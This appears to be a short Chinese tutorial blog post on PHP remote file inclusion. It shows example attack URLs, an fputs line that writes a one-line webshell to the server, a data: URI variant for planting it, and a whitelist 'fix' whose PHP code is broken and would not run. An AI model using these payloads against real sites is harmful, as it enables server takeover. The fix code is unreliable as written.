文件包含漏洞

当allow_url_open=on

allow_url_include=on

就会造成文件包含漏洞

http://要入侵的网站/vulnerabilities/fi/?page=http://本地网站/phpinfo.php

这样就可以执行phpinfo.php  中的phpinfo()函数

还有就是可以直接在服务器上fput上webshell一句话木马

fputs(fopen('rfi_shell.php','w'),'<php小马>)

http://127.0.0.1/rfi.php?file=data:text/plain,<上面的一句话也可以put进去>

修复代码,白名单思想

<?php

$file=$_GET['file'];

switch (){

case 'main';

case 'foo';

case 'bar';

include '/home/wwwroot/defualt' $file.php;

default '/home/wwwroot/default/index.php';

}

?>

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 来源:http://bbs.ichunqiu.com/thread-9192-1-1.html?from=ch 本...
    池寒阅读 1,264评论 1 7
  • 原文链接:http://wyb0.com/posts/file-include-vulnerabilities/ ...
    cws阅读 8,588评论 10 10
  • 0x01 文件包含函数 include() include_once() require() require_on...
    Pino_HD阅读 2,559评论 0 3
  • 文件包含漏洞 产生的原因:通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶...
    青山i阅读 3,260评论 0 7
  • 我在西南的一个小村庄 这里有一个现代化的工厂 不同于北方冬日的萧瑟 这有四季常青的树 不知疲惫的鸟 也没有盆地特有...
    肖筱阅读 179评论 0 0